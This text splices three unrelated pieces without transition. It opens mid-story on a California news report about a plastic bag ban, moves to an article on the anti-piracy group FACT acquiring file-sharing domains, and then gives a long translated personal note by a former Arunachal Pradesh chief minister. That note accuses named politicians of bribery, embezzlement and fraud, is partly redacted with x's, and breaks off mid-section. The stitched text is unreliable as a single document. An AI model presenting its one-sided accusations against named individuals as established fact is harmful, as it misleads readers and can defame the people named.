Although Brown indicated earlier this month that he intended to sign the bill, he waited until the final day in which he can take action on a bill. A torrent of additional bill signings and vetoes are expected later in the day.
Opponents of the bill said the statewide plastic bag ban is government overreach, while others argued that the per bag fee grocers will charge will amount to a windfall that essentially allows customers to be charged twice since the cost of carry out bags are already factored into store prices.
“We’re basically implementing a tax, a 10 cent charge per bag on our constituents,” said Sen. Ted Gaines, R-Rocklin, before Brown signed the bill. “It’s actually a profit center for grocers, because the cost of the bag is 2 to 3 cents, but the charge is going to be 10 cents. I find that quite frankly outrageous.”
Padilla said lawmakers have discussed the merits of a statewide plastic bag ban for years, while local governments moved forward with their own.
“A throw-away society is not sustainable,” Padilla said in a statement. “This new law will greatly reduce the flow of billions of single-use plastic bags that litter our communities and harm our environment each year. Moving from single-use plastic bags to reusable bags is common sense.”
Each year, California spends $25 million to dispose of 14 billion plastic bags used annually, according to a legislative analysis of the bill. Plastic bags make up 2 percent of the overall waste in California, but they are the predominate form of marine debris. The ultimate destination for much of the plastic waste from California’s coast is the North Pacific Central Gyre, where researchers say more than 300,000 plastic particles are found per square mile.
We’ve seen locally that plastic bag bans lead to cleaner water and healthier wildlife, keeping trash off our beaches and out of our creeks,” said Save the Bay executive director David Lewis in a statement. “The success of bag bans in our local communities has empowered state legislators to make the right decision for the health of California’s waterways.”
With United States authorities leading the way, domain seizure has become quite the hot topic in recent months. The process has led to hundreds of domains being taken over in the U.S., most of them connected to counterfeiting of physical products.
In addition a number of file-sharing and video related domains have been affected, from the super high-profile Megaupload and Megavideo to others such as Dajaz1 whose profile was raised because it was wrongfully seized.
More recently it became evident that domain seizures might move to Europe after a legal process was initiated in Brussels by a currently unknown entity. However, it appears that domains have been falling out of the hands of people operating file-sharing sites in the UK and into the hands of Hollywood with no court involvement at all.
Last week we were alerted to the demise of BitScores, a site that had been offering streams of sporting events, primarily soccer games targeted at the UK audience. Their trouble appears to date back a few months when the site operated under a different name.
“I am writing this email to you to let you know that Liveonlinefooty is closing down and will be moving to a new domain called www.bitscores.com,” said a message to the site’s users.
“Why are we doing this you may ask, well Liveonlinefooty is a very popular name in the online streaming world and we want to pull the plug on this before the site may get shut down out of our own control and lose all you guys for good and no way do we want that to happen.”
The message ended with a note that nothing would change but people should now log in with their same details on BitScores.com.
But things clearly didn’t go well. BitScores.com went offline last week and hasn’t been heard of since. It did, however, leave an interesting clue behind as to what caused its demise.
In the past few months the site had operated from three domains – BitScores.com, LiveOnlineFooty.com and DHMediaHosting.com. Not only are all currently inaccessible, but they all are registered to the Hollywood-funded anti-piracy group the Federation Against Copyright Theft.
As can be seen from the screenshot the site is now registered to Graeme Grant, an investigator with FACT who also has control of other domains. So we did a little digging.
Topically, considering the demise this weekend of NZBMatrix (also at the hands of FACT), the next site we found in FACT hands was NZB-Magic.com. In September this Usenet-focused site announced that “Due to legal reasons beyond our control, NZB Magic is now closed for business.” Clearly FACT caused the shutdown.
And then more sites came to light.
ThereAlZone.net, which appeared to have been offering movies, is now gone and offering a redirect to the official FindAnyFilm.com movie industry site.
SupernovaUk.com, a BitTorrent tracker which appears to have started its life in the summer and had it brought to an end just months later, also suffers the same fate.
TeamFx.org, a URL that appeared on many movie, TV and other BitTorrent releases, is also now in the hands of FACT. The site displays a FACT banner and offers a link to the FindAnyFilm site.
Finally, FACT have also taken over WizardMods.net, a site dedicated to satellite, cable, pay TV hacking and other related activities. The site was also connected to the supply of NZB files. The domain now redirects immediately to FindAnyFilm.
So were the domains taken by force, perhaps through the courts? Apparently not.
“The domains were all signed over voluntarily following contact from FACT as one strand of our ongoing strategy which gives alternatives to prosecution in certain cases,” a FACT spokesperson told TorrentFreak.
Which in layman’s terms says “Shut down your site and give us your domain name or we’re going nuclear.”
Given what happened to Anton Vickerman, it’s little surprise that the domains are now in FACT hands.
The Hindi original may be accessed at The Wire‘s Hindi site
Mere Vichaar / My Views
1. Birth – I was born [in 1969] into a poor, backward family. All my life I have faced adversity and endured wrenching sorrow; on many an occasion I have triumphed over my tribulations, too. My destiny had harsh misfortunes written in it from birth itself. For most people, the love and care of parents is a given as is the learning and wisdom imbibed from them. But the death of my mother, when I was 13-months-old, deprived me of her sheltering love. When I was six, my father, too, passed away. I have no one I can call my own. I have always been deprived of the love of parents and family.
2. I came into this world alone and I will leave this world alone. I believe that every individual comes out of his mother’s womb without anything, and departs the same way. If every individual could truly understand that, there would never be any strife in the name of religion, caste, distinctions of high and low, rich and poor, nor any battles over wealth, land, property, power and prestige.
3. When a human is born, he does not bring with him a name, caste, religion, community, language, region, wealth, property. But today’s human is increasingly losing sight of this reality. He is ever prepared to kill or be killed for these things. In the process he forgets the eternal truth that he is merely a soul. I have always looked at life as a mirror reflecting truth.
4. I know well that there is nothing in this world that is mine – apart from one’s body, that is. The clothes one wears, the possessions in one’s house, money, wealth, cars, land, power and position – the things over which we fight to establish our right – do not belong to me in any way.
That which is mine today, was someone else’s yesterday
And shall become another’s day after
Change is the only rule of the world.
But change should be according to rule and in the right manner.
5. I learnt to face the challenges of life from childhood itself, be it for bread or for my rights. As a child I walked miles to collect firewood from the forest for one meal. Trapped in poverty and helplessness I have laboured as a carpenter for a daily wage of Rs 1.50, earning Rs 45 per month. I have kept those tools of carpentry with me to this day.
6. Education – During childhood I was unable to attend day school regularly. Along with my carpentry work I managed to study at the adult education centre, Walla. Seeing my hard work and dedication, the school administration put me through a test and admitted me directly into class VI. When I was attending day school, between Class VI and VIII, I took up casual employment, studying during the day and working as a chowkidar at night. The job required me to raise the national flag at 5 am and lower it at 5 pm. For this I earned a monthly income of Rs 212.
7. Being a contractor – My very first job as a contractor involved the construction of one OBT [Editor’s note: ‘ordinary basha type’ construction of bamboo and wood] house for Rs 400, after which I built many roads, government housing and bridges. By the time I reached Class XI-XII, I owned a Gypsy and four trucks which I ploughed into my work.
7.1 By the time I reached college, my business had expanded considerably – I had my own conveyance, servants and also a small RCC [reinforced cement concrete] house with three rooms. Despite the fact that I have worked in one or other ministerial position for 23 years, I have not added a single room to that house. [Apart from this] I have a small house in Khupa, built in the 1990s with a personal loan from the State Bank of India, Tinsukia, and a house in Hayuliang, constructed with a personal loan from the State Bank of India, Tezu.
7.2 Before becoming an MLA, I owned a saw-cum-veneer mill as well, which brought me an annual income of Rs 46 lakh. I had become a crorepati in my student life itself but I was never arrogant on that account. God is my witness that I have never considered wealth, bungalows, cars, servants, power and position as an entitlement. I have always believed that my duty lies in the protection of humanity and service of the poor. I continue to think so to this day.
7.3. I say with pride that I am a self-made man. But I have never displayed any conceit about it. I have always used my wealth to help the poor, the helpless, orphaned and needy. At present, I sponsor the education of 96 students, taking care of their needs on an annual basis as well.
7.4 When I joined politics on December 26,1994, the very next day I surrendered my two trading licenses at the DC [district collector] office. Now that I had entered politics, I wanted to keep it separate from business. I never wanted to enter politics; I was compelled by people to take the plunge. People usually join politics to further their interests, but if someone were to embrace it with integrity, there is no better field of activity for service and constructive work. What can be better than a scenario where a politician’s reference, phone call or proposal in the assembly could help society and fulfill people’s needs?
7.5. In 2007, when there was an opportunity for me to become chief minister, I had declined.
7.6 In 2011 once again I was offered a chance to stake my claim to the chief ministerial post, and again I declined because I knew that my fellow legislators and ministers would not let me work as per rules and regulations and in accordance with the constitution.
7.7. When, for the third time [in February 2016], an opportunity for me to become chief minister presented itself, I accepted it, spurred by my desires and dreams. My effort was to take my backward state and its poor people forward – provide good roads and transport, a regular supply of clean, potable water, a good standard of education, efficient and free public health services, continuous 24-hour power supply, a peaceful and safe atmosphere for people of every caste and community, a better standard of living and income, prosperity and development for all, and well-being in every household. Keeping these concerns in mind and to bring these objectives to fruition, I have worked hard, body and soul, to take my state to greater heights and ensure benefits for its people. Perhaps my fellow ministers and legislators did not find this agreeable; they must be going by a different definition of what it means to be a minister or legislator. This was the reason why in the first place I had sought to maintain a distance from politics.
7.8. In a political career of 23 years spanning various ministerial positions, I have tried to make every possible contribution towards the state’s progress – in my constituency and across the state. But these accomplishments were not noticed by many. In over two decades I have worked with many chief ministers. My experiences told me that they did not work to clear-cut plans and were not able to prioritise properly. They always took their decisions based on their political calculations, turning a blind eye to the interests of the people. Legislators and ministers were invariably busy protecting each other’s interests.
7.9 My definition of being a leader is not limited to ensuring benefits solely for one’s family, kinsmen and friends. Ministers, legislators and senior officials are where they are not to help each other; they are chosen to work for the overall development of the state and service of the poor. But in all my years of politics I have seen politicians do just the opposite.
7.10. In my tenure of four-and-a-half months as chief minister I sacrificed my comfort and time with my family to work round the clock for the welfare of the people. I have upheld rajdharma in the true sense. Moreover, I created more than 11,000 posts in the departments of health, education and law enforcement, to be filled in the most transparent and impartial manner. I had submitted Plan and non-Plan funds in a rightful, planned manner. I had it conveyed to ministers that they were to refrain from taking money to arrange transfers, postings, promotions and appointments within the state. Perhaps that irked them. I had also given instructions that whether it was Plan funds, non-Plan funds, contract work, tenders or bill payments, no commissions should be allowed. Perhaps that also irked them.
8. A state with a population of 14-15 lakh elects 60 MLAs. From them, 12 are chosen to be ministers. The way I think, along with possessing a good education, good leadership and liberal thinking, those 60 MLAs should also be good human beings for whom serving the poor is their religion, humanity their creed, and the welfare of the people their duty. Our politicians need to rise above considerations of family, community, caste and religion. But there seems to be a complete paucity of such political leaders today, for every politician is busy lining his pockets, thinking more about himself, his family and relatives than about public good. To see this has caused me immense anguish. This is the sole reason for the state’s backwardness. Ministers and legislators are hand in glove with each other to forward their self-interest. The chief minister is busy pandering to important politicians, officials and businessmen. In such a situation, what will happen to the state of Arunachal, its society and people?
8.1. No attention is paid to streamline systems, be it roads, water and power supply, law and order, education, health and cleanliness because of which the ordinary man looks at politicians with suspicion. Here every MLA wants to become a minister, that too in the works department where they can have a fat source of income. Everyone wants to have more and more money in hand. Politicians and MLAs have virtually made it into a profession. This is the reason why governments keep changing in Arunachal Pradesh, the consequences of which are borne by the ordinary man; the state also suffers. When a government changes, many plans and programmes also get changed, and this obstructs the path and pace of progress. This should never happen. I am saddened by all this. I want to make the people aware and conscious so that they are able to understand and debate these issues, alter their modes of thinking, style of functioning, demeanour and policies – so that we can bring to fruition our desire for a golden future for our state and country.
8.2. Today, the people must ask ministers and legislators to how they managed to amass such wealth, land and property, houses and cars in such a short time. The people should be able to spot corruption and ask whether becoming a legislator or minister certifies politicians to make money or provides them access to a note-printing machine? I believe the people are supreme and they should know the truth.
9. Dorjee Khandu [Editor: chief minister of Arunachal Pradesh from 2007 till his death in a helicopter crash in April 2011] was an ordinary soldier of the Khandu Sena. Even after becoming a legislator he had hardly anything. But when he became minister for relief then he used official funds to line his own pockets.
9.1. When he became power minister, he made money by auctioning off rivers and water courses under hyrdro project schemes throughout Arunachal.
9.2. After this, he engineered the dismissal of Gegong Apang [Editor: in 2007] and himself became chief minister.
9.3. He owned palatial houses and bungalows in Tawang, Itanagar, Guwahati, Delhi, Kolkata and Bengaluru as well as many farm houses, hotels and commercial estates. Today, people say that Dorjee Khandu amassed over Rs 1700 crore of wealth and property. But he is no more, so of what use was this wealth? One cannot buy life with it nor can one take this wealth to the next world. What I mean is that it is sufficient for everyone to earn as much through hard work as is destined and adequate for one’s needs.
9.4. On social media (Facebook and WhatsApp) it is being said that Pema Khandu [Editor: Son of Dorjee Khandu and, since, July 2016, the chief minister of Arunachal Pradesh] has Rs 1700 crore in cash, and it is being asked from where he has got it.
9.5. It is for the people to think about what he possessed before becoming a minister and what he owns today. After all, he did not own a money minting machine or factory, nor did he have access to Kuber’s treasure. Then where did so much money come from?
9.6. This money belongs to the people, and it is on the strength of this money that those who strut around as ministers intimidate them, making the public run after them. It is imperative that the people demand answers and a thorough investigation of this matter.
9.7. The entire expense – the amount was around Rs 90 crore – for the Supreme Court case was borne by Nabam Tuki and Pema Khandu. The judgment of the court went against me.
9.8. In the aforesaid case, I too was approached on phone with an offer of getting an order in my favour for a sum of Rs 86 crore. But my conscience would not allow it. I did not indulge in corruption, I did not earn money [through ill-gotten means], nor did I have a desire to drag the state into a deep mess, so why would I misuse the money rightfully belonging to the government and the people to retain my power? The consequences are there for all of you to see.
9.9. Not just today but for years, huge amounts of money have been going to Tawang in the name of development. But those funds have been misused by politicians to line their pockets.
From 2005, a lot of money has gone into the Relief Fund. The public can get information about it through RTI queries. A survey of the project will show that nothing has been done. Sizeable funds have come for promoting tourism. Considerable funds have come for urban development. Substantial funds have come for the power sector, too. In 2010-2011, in the name of the Kitpi Hydro project a sum of Rs 27 crore was raised through LOC [line of credit] without any sanctions or without any work on ground and without raising any invoices. That sum was embezzled. Similarly, in the name of the Khantang and Mukto hydro project, a sum of more than Rs 70 crore was raised by means of false invoices and embezzled. At the root of the PDS scam are Nabam Tuki and Dorjee Khandu. They are the ones who started it.
– During Gegong Apang’s chief ministerial tenure, the PDS system met all its obligations at an annual cost of Rs 61 lakh. Gegong Apang wanted to improve the system but everyone ganged up to trap him.
– When the government was formed, Nabam Tuki became the food and civil supply minister. He was the one who started the practice of head load [Editor: distribution of PDS food grain through head load carriage] in the state.
-Within just a year the work of the PDS was increased to Rs 68 crore, and in the following year to Rs 164 crore. This made the Central government suspicious of the state government and it instructed the FCI [Food Corporation of India] to conduct an inquiry and audit. When it came to light that the state government was at fault, the Central government stopped the funds earmarked for payment…
– The PDS was a GoI scheme and the funds earmarked for it are channeled through the FCI. The payments were not made from the state government’s funds.
– When Dorjee Khandu became chief minister [Editor: in 2007], he advised the PDS contractors to file a case against his own government, and also helped them.
– With regard to this case in the fast track court, sessions court, high court and Supreme Court, the state government often deliberately set out to be defeated. Under Dorjee Khandu’s leadership, the state government knowingly did not submit authentic records/documents and information. Many files and records were erased. For a 50% share, Dorjee himself helped the private parties to get a court decree against the state government, and the first PDS payment was released during his tenure.
– Until the time (November 30, 2011) I was finance minister and in spite of the court decree, I and the Setong Sena did not release the payment.
– It was for the express purpose of releasing the PDS payment that Nabam Tuki removed me from the finance ministry.
– I was immediately replaced by Chowna Mein as finance minister and within four days, on November 4, 2011, Nabam Tuki and Chowna Mein released the payment for the head load PDS for a 50% share.
– For the first time in the 23 years of my political life I witnessed the release of payment on the basis of a photocopy of a PDS invoice. Such a thing never happens in any other state.
– The PDS payment released was to the tune of over Rs 600 crore, made out from the state’s Development Fund whereas it was a GoI scheme, and the GoI, having detected a scam, had not advanced a single paisa to the state government.
– The main culprits behind the PDS scam are none other than Dorjee Khandu, Pema Khandu, Nabam Tuki and Chowna Mein.
– When I took over as chief minister, I had the matter investigated in a bid to save the state government. My government filed a case against the FCI as well as GoI and also submitted a review petition in the Supreme Court. I deeply regret that I could not save the state government in this case owing to the fact that all the former ministers, chief ministers and officials ganged up to do away with the relevant files and documents. The chief secretary, secretary, directors and officers stand to go to prison in this case.
– Until now, the genuine contractors who submitted proper tenders and worked well to handle the PDS land route and transport rice right up to the fair price shops, have not been paid.
– On the other hand is Pema Khandu, whose name has figured in the PDS scam, about which, even today, cases are under way in the high court and Supreme Court.
The names of Dorjee Khandu and Pema Khandu also figure in the SGSY [Swarnajayanti Gram Swarojgar Yojana] rice scam. The case is under way in the Supreme Court. Had Dorjee Khandu been alive, he would have been in prison today. Even though Pema Khandu is the chief minister, he will find himself in prison before long. The SGSY scheme was fraudulent from the word go because not a single grain of rice reached the villagers; the rice was sold off in Assam. The fact that false transport bills were created for the transport of rice that never was, was yet another level of fraud. This father-son duo has perpetrated scams within scams. If any ordinary individual were to ask Pema Khandu questions such as how much rice came from the Centre under this scheme, who were the beneficiaries, when was the rice consignment delivered, who got it, and how much money was made through this scam, I can guarantee that he will not have a single answer. He has just one refrain, namely that he has a lot of money and there are a lot of people after it, but it is important for the public to realise that all that money has been made through scams.
It has become somewhat of a Congress policy to accord precedence to the corrupt, wrong-doers and fraudsters in leadership positions, so that they connive to loot the exchequer in order to send it up to the Congress high command.
9.10 Such people have not been touched because legislators and ministers want chief ministers like P.K Thongun, Gegong Apang, Dorjee Khandu, Nabam Tuki and Pema Khandu, against whom there are cases under way in the high court and Supreme Court, because these are the very people who can bribe officials, the judiciary.
9.11. During my chief ministerial tenure I ensured regular funds for every district under SIDF, RE and NP [non-Plan]. In spite of this, Pema Khandu and his two brothers sought an emergency fund of Rs 6 crore for hydro project maintenance, which was given to them. These funds had not even been touched when they sought more funds in the name of flood relief. They asked for another Rs 10 crore. Rs 10 crore was the sum marked for flood relief in the entire state but even then I gave the largest amount of Rs 6 crore for Tawang.
9.12. In a small state like Arunachal Pradesh, we had just Rs 51 crore in the NDRF, from which funds were to be disbursed across 20 districts and among 60 MLAs as per need. Many districts were in need of flood relief. I had to be even-handed in my approach towards every district and all the MLAs. At that juncture Pema Khandu and his brothers asked me for Rs 100.88 crore. Explaining the circumstances prevailing in the state I reasoned with them, but they became angry and made their move against me.
9.13. I would like to disclose one more thing, namely that Pema Khandu had a hand in the firing incident that took place on May 2, 2016 in Tawang. Pema Khandu did not allow bail to be given the arrested Lama. The phone conversation between the DC and SP Tawang has a mention of Pema Khandu. He had put pressure on the DC, ADC and magistrate to withhold bail in the shooting incident that happened in Tawang. Pressure was exerted on me and the chief secretary as well to refrain from taking action against the officials. Regardless, we took action against the concerned officials. This may have irked them. So many people were killed during this incident. Many of the severely injured are still being treated in Shillong and Guwahati. I personally met the families of those who died and also the ones who were injured, in Tawang, Shillong and Guwahati, making every possible effort to help them. But the incident left Pema Khandu untouched. It is for the people to reflect and decide who is right and who is wrong.
10. Nabam Tuki – From MLA to minister and chief minister, Nabam Tuki covered the ground in a very short span of time. Before becoming a legislator he had nothing; today he owns land and property in Itanagar-Naharlagun, palatial bungalows, farm houses and land in Kolkata, Delhi and Bengaluru. Photos and video of these properties were put up on social media as well.
10.1. In the hearing against Tuki, the Guwahati high court ruled against him and ordered a CBI probe. However, in the Supreme Court xx xxx xxxx xxxx, xxxxxxx xxxxx xxxxxx xxx xxxxx xxx xxxxxx, xx xxxxx xx x xx xx xxxxx xxxx, he got a stay and Tuki is moving around freely.
10.2. With regard to the PDS scam in Arunachal, Supreme Court Justice Kabir Altamas decided in favour of the contractors whereas the Central government and FCI, too, held this decision to be wrong.
10.3. From the bank account of xxxxxxxx, Rs 30 lakh were transferred to xxxxx’s account. This fact has been accepted by the Guwahati high court as well, and both the high court and the Supreme Court have a record of this transaction. xxxx xx xxxx xxxxxx, xxxxx xxxx xxxxxxx xx xxxxx xxx xxxxxx xxxxx.
10.4. It was during his stint as food and civil supply minister that Nabam Tuki initiated the PDS scam. Despite there being a land route, he invented the need for head load carriage – by showing a 20 km road as 46 km long, and a 40 km road as 90 km long, he embezzled money. From places where rice, sugar and wheat never reached, he concocted invoices. Rice quota earmarked for Kurung Kumay and Subansiri was taken from the FCI base depot and sold in Lakhimpur (Assam). The rice quota meant for Tawang, East Kameng and West Kameng was sold in Tezpur, Assam. The rice quota meant for East-West-Upper Siang was sold in Dhemaji, Assam. The same invoice was doctored 6-7 times to extract money. In a state where Rs 61 lakh sufficed for the annual PDS rice quota, expenditure rose to Rs 168 crore annually in Tuki’s time.
10.5. By passing off old projects as new and by showing photographs, Tuki scammed the Relief Fund to the tune of 70%. He misused the funds and misled the public and the Central government. In this connection a PIL is being heard in the Guwahati high court. By perpetrating such schemes in the state he augments his wealth, which enables him to buy xxxxx, the Congress high command and the media. The people are silent onlookers.
10.6. Of the non-Plan [funds] allocated in the state, 60% was withdrawn and misused because of which very many centrally sponsored schemes continue to be in the doldrums, and because of which the state faced a continuous problem of overdraft in the years 2013, 2014 and 2015. As a result the salaries of public servants, wages, TA/DA, MR [medical reimbursement] bills, GPF/NPS [General Provident Fund/National Pension Scheme], student stipends and contractors’ payments could not be paid in time. Still, government employees, students, contractor and the public endured their travails, did not speak out against the government or show the courage to oppose what was happening. This made the corrupt more audacious, spurring them on to more corrupt acts.
10.7. The entire fund of TFC [Thirteenth Finance Commission] has been misused.
10.8. The SPA [Special Plan Assistance] fund too has been misused; work is at a standstill.
10.9. The SCA [Special Compensatory Allowance] fund has also been misused.
10.10. The state hoodwinked an innocent public by stating that there are funds in the Civil Deposit. When I became chief minister, the first thing I did was to have the matter examined, whereupon it came to light that there was no money there.
10.11. Where Dorjee Khandu would take 60% commission/bribe for Relief fund and non-Plan funds, Tuki increased it by 10%, bringing up his commission to 70%, thereby looting the state coffers.
10.12. These are the reasons why, for the last three years, the state has faced a problem of overdraft, with the state budget running a deficit.
10.13. Nabim Tuki bagged government contracts in many cities (Ziro, Pasighat, Tezu, Itanagar, Hawai) and many districts in the name of his wife Nabam Nyami. His brother and family members such as Nabam Tagam, Nabam Aka, Nabam Hari and Nabam Mary also bagged various contracts under government projects and programmes, and made the state exchequer bleed.
10.14. Tuki is solely responsible for all the scams and losses in the state. He is the one who pushed the state over the edge and fooled an innocent public.
10.15. On social media (Facebook and WhatsApp) many are asking how he has come to amass such wealth. If one were to look him in the eye and demand the truth, he would not be able to meet one’s gaze or utter one word.
10.16. It is due to the frustration caused by these very antics of Tuki that I and the legislators opposed him in one voice. Despite being a minority government, and with some help from his brother, Speaker Nabam Rebia, he managed to get two MLAs expelled and continued to run his government.
10.17. Despite there being a motion for the Speaker’s impeachment, Nabam Rebia continued in his position whereas action should have been taken within 14 days. Similarly, despite a no confidence motion, Nabam Tuki continued as chief minister even though the governor had asked him to prove his majority. Despite the Guwahati high court’s judgment of January 13, 2016, he remained in the saddle and kept looting the state [exchequer]. It would have been the right thing for him to submit his resignation but he did not do that.
10.18. The governor is the head of a state. It is with the governor’s concurrence that the names of chief minister and ministers are settled. Transfers, postings and appointments too are conducted under his direction. However, he [Tuki] consistently cocked a snook at law, justice and the public.
10.19. In over two decades I have worked with five chief ministers, but have never seen anyone as corrupt as Tuki or a system as venal as his. His government has been behind bandhs, strikes and riots in the state; it has pitted people against one another in the name of caste, religion and region, and engineered conflicts.
10.20. He has treated the government, law, democracy, the constitution, judiciary and public in a cavalier manner. He has always played politics in the name of caste, religion, community, language and region.
10.21. One who has filled his own coffers instead of serving the people must be asked by them about how he came by his land, property and wealth. Did he stumble upon a money minting machine? Strict action should be taken against him, and what is due to the public must be given to it.
11. Chowna Mein [Editor: currently deputy chief minister of Arunachal Pradesh, formerly a Congress leader, now in the Bharatiya Janata Party] – Among the important ministers of the state [of Arunachal], he is the most corrupt. In every department that has been under his charge, his name has come under a cloud. I am revealing his true face to the public.
11.1. There was never a practice of money changing hands in the RD [rural development] ministry but he made a beginning by demanding Rs 10 lakh to manage the post of PD (project director). For the post of APO he demanded a bribe of Rs 5 lakh, and at the BDO level a bribe of Rs 3 lakh. He had also fixed a percentage of bribe with the contractors working under the RWD and PMGSY programmes.
11.2. He took bribes for transfers and promotions as well.
EE – Rs 15 lakh. AE – Rs 5 lakh. JE – Rs 3 lakh.
11.3. On becoming education minister, Chowna took bribes between Rs 3-4 lakh to appoint individuals to teaching positions, doing away with the interview process.
11.4. In PHE [Public Engineering Health] and PWD also he made a lot of money by charging a sum of Rs 10-15 lakh for transfers and postings.
11.5. In LoC, Chowna Mein demanded money because of which many officials refused to go to the division, angered by him.
11.6. While he was PHE minister in the Jarbam Gamlin government, by brokering a deal of Rs 46 crore under the Relief Fund, within 15 days, with the help of ULFA and other underground forces he succeeded in toppling the Gamlin government.
11.7. During his tenure as PHE minister, Rs 76 crore had come from the Central government towards fulfilling water supply needs, which was misused. A record of it is available with an RTI activist who got out the details.
11.8. Then, after becoming finance minister in the Tuki government, he bestowed the gift of a financial crisis upon the state.
11.9. By putting the Development Fund in non-Plan [expenditure] the Fund was misused, which created the problem of overdraft during his time.
11.10. He invariably chose such departments that were characterised by a large number of transactions. He mostly sought to be in planning, finance and PWD so that he could earn hand over fist. Is the state likely to remain secure under such politicians?
11.11. Today he owns land, property, tea gardens, orange orchards and rubber plantations across the state; practically half the property of Namsai is in his name.
11.12. He also owns palatial bungalows, commercial estates and property in Delhi, Kolkata and Bengaluru.
11.13. The public must demand an answer from him as to why he misled the state and its people. Being a legislator or minister is not like owning a money making establishment; then how did he come by such wealth? Are these the real leaders of the Congress? [Editor: Since the time this note was written, Chowna Mein has joined the BJP]
12. Karikho Kri – This gentleman [Editor: Karikho Kri is an MLA with the Congress party] was once an MLA from Tezu. Before becoming a legislator he did not even have a house of his own. He used to stay with his elder brother who was a PHE engineer. For his first assembly election campaign he went everywhere on an old two wheeler. Within 3-4 years of becoming a legislator, he owned half of Tezu, including land and property. Now he owns big bungalows, fancy cars and sports an affluent lifestyle. In addition he has property in Itanagar, Delhi, Kolkata and Bengaluru. But no one asks him where all these riches came from. People run after him for his wealth. It seems that to become a legislator is akin to winning the jackpot in a lottery draw, for millionaires are made overnight. There are many such legislators in the state who get busy fleecing the state.
When the Supreme Court order came, several MLAs demanded Rs 15 crore from me in return for saving my government. However, I had not become chief minister to make money for myself or for others; I had done so to save and defend the government’s coffers in the interest of the public. As chief minister I wanted to take forward necessary schemes at the right time and in the right manner, to direct progress in a way that benefited the people. Whenever there is a political crisis in the state, such [corrupt] legislators make hay, demanding Rs 10-15 crore from both sides. In doing so they are auctioning themselves. How long will the state go on like this? The public must demand an explanation from legislators and launch a movement against them. Today’s legislators are all mired in corruption, they have no right to be sitting in the assembly. The public should demand their resignation so that they can elect a new and better government that benefits the state.
[At the bottom of the page, scribbled in pencil – It pains me that I was unable to accomplish my dear friend PD Sona ji’s demand for Rs 10 crore in cash; I was only able to give him Rs 4 crore on July 11, 2016.]
13.1. After thinking through issues and armed with a strong will and clear objectives, if we work with transparent policies and focused schemes aimed at development and serving the poor, we can achieve a great deal.
13.2. In the four-and-a-half months of my chief ministerial tenure, the work I accomplished is an example of how we can take the state forward. But my fellow legislators did not allow me to work; they will not allow anybody to work thus.
13.3. I say this because in my political career of 25-30 years this is precisely what I have seen legislators do. It is impossible to work with such corrupt and crooked legislators and political leaders. These people can never change or clean up their act. There is a crying need to teach them a lesson and nudge them towards realisation [of what they have done]. The time has come for the people to demonstrate their strength so that politicians never again think of treating them casually.
13.4. I am writing in this vein because a state where the government changes 3-4 times in four months stands to lose out in ways that cannot be imagined. The same public, in the absence of understanding, often fetes new chief ministers and ministers whereas to me that is a betrayal of the public.
13.5. Hence my fervent appeal to the people that they take this [my] message and this sacrifice seriously to demand accountability from their leaders, mount protests against them in villages, cities and districts, and call for the state to be put under President’s Rule so that it is centrally administered like before. All this so that the state develops, the people get what they are entitled to, and there is peace, happiness and well-being.
13.6. Let fresh elections be held on time, providing an opportunity to new faces, well-educated, progressive individuals and those who have struggled in life, so that the poor may benefit.
14. Congress – I joined the Congress when I was a student. I have been part of it for 33 years. There was a reason why I joined the Congress.
14.1. It was a time of principles, a time of ideas, and patriotism. On March 7, 1986 when Shri Rajiv Gandhi visited Tezu, I too was there to welcome him with a tricolour. I gifted him the flag and he told me to study well and become a good man. He made three points about Arunachal in his speech that day:
Arunachal is an inalienable part of India.
Delhi may be far but you [the people of Arunachal] are not far from my heart.
We send Rs 100 from the Centre but only Rs 25 reaches the state; we shall fight corruption.
14.2. Deeply impacted by these views, I joined the Congress. From 1995, I have been consecutively elected from Hayuliang, with the highest margin of victory in the state. However, it saddens me to think that this Grand Old Party needs corrupt individuals and criminals, not those who want to serve the people. Today, politicians are not servants [of the people] but agents and touts intent on doing business to further their own interests.
14.3. Then there used to be debates on principles, policies and ideas. Today, the focus is on dividing the people in the name of reservation, funds, religion and region to gain their votes. The helplessness of the poor has become a playground of cynical politics. That too was a phase; this too is a phase.
14.4. In 2008, on Dorjee Khandu’s say-so and on account of my own helplessness I myself went to xxxxxx xxxxx four times to reach him the money – a total of Rs 37 crore.
14.5. In 2009, when the state received an advance loan of Rs 200 crore, on Dorjee Khandu’s say-so, I arranged for Rs 6 crore to be sent to xxxx xxxxxx xxxxxxx, then Union xxxxxxx minister, at the following address xxxxxxxxxxxx xxxxxx xxxxxxx.
14.6. In 2015-2016 I was in Delhi for 13 months during which time I met the following Congress leaders:
I met Narayanswamy 13 times
I met Kamal Nath four times
I met Salman Khurshid five times
I met Ghulam Nabi Azad five times
14.7. But Sonia Gandhi and Rahul Gandhi did not meet me. While Salman Khurshid and Ghulam Nabi Azad heard me out and tried to help me, xxxxxxxxxxxxx demanded Rs 110 crore for the party fund and for himself. He conveyed this message through his personal staff xxxxxxxx xxxxx. I was called to Sagar Ratna (South Indian restaurant) several times so that the demand could be conveyed. Xxxxxx xxxxxx asked for Rs 9 crore. When I met xxxxx xxxxx, he too asked for Rs 130 crore, which was conveyed through xxxxx xxxxx, Mr. xxxxxx and xxxxx xxxxx.
14.8. All these instances grieved me. For days I remained plunged in thought, overcome by anxiety. The party spilled much venom against me but even so, and after winning three court cases, I continue to be associated with the Congress. In truth, I have seen the real face of the Congress and now I have no desire to remain either in the party or in politics. The titans of Congress did not follow their rajadharma then; they are not doing so now. It was my misfortune that I walked in darkness for so many years and was associated with a party that took my blood, sweat and toil and gave me back nothing but tears. I am ashamed to say it but the entire Congress structure is corrupt.
15. Law – The importance of the rule of law and justice is uppermost in a democracy. If there were no law or judiciary, democracy would not be able to function. The role of the judiciary is to secure the rights of the people, the poor and the helpless.
15.1. But what I have seen happening is the exact opposite. I have witnessed the brokers of justice; I have seen that justice is for sale. Today, the law itself has assumed the role of an influence peddler to broker justice.
15.2. The state government, the FCI as well as the Central government stated that the PDS scandal was a scam but even then the Supreme Court, after letting the accused walk, directed that full payments be made to them. The state treasury was virtually emptied out. Xxxxx xxxxxxx xxxxxxxxxxxxx xxxxxxxx x xxxxx xx Rs 36 crore xx xxxx x xxxxx xxxxxxx, xxxx xxx xxx xxxxxx xx xxx xx-xxxxxxx xx xxx xxxxxxxx xxxx. On earlier occasions, too, xxxxx xxxxxxx xxxxxxx xxxxx xxx xxxx xxxxxxxxx xx xxxxxxxxxxx xxx xxx xxxxxxxxxx.
Present court matters
15.3. In the assembly session of December16-17, 2015, the Nabam Tuki government was removed after losing a vote of confidence.
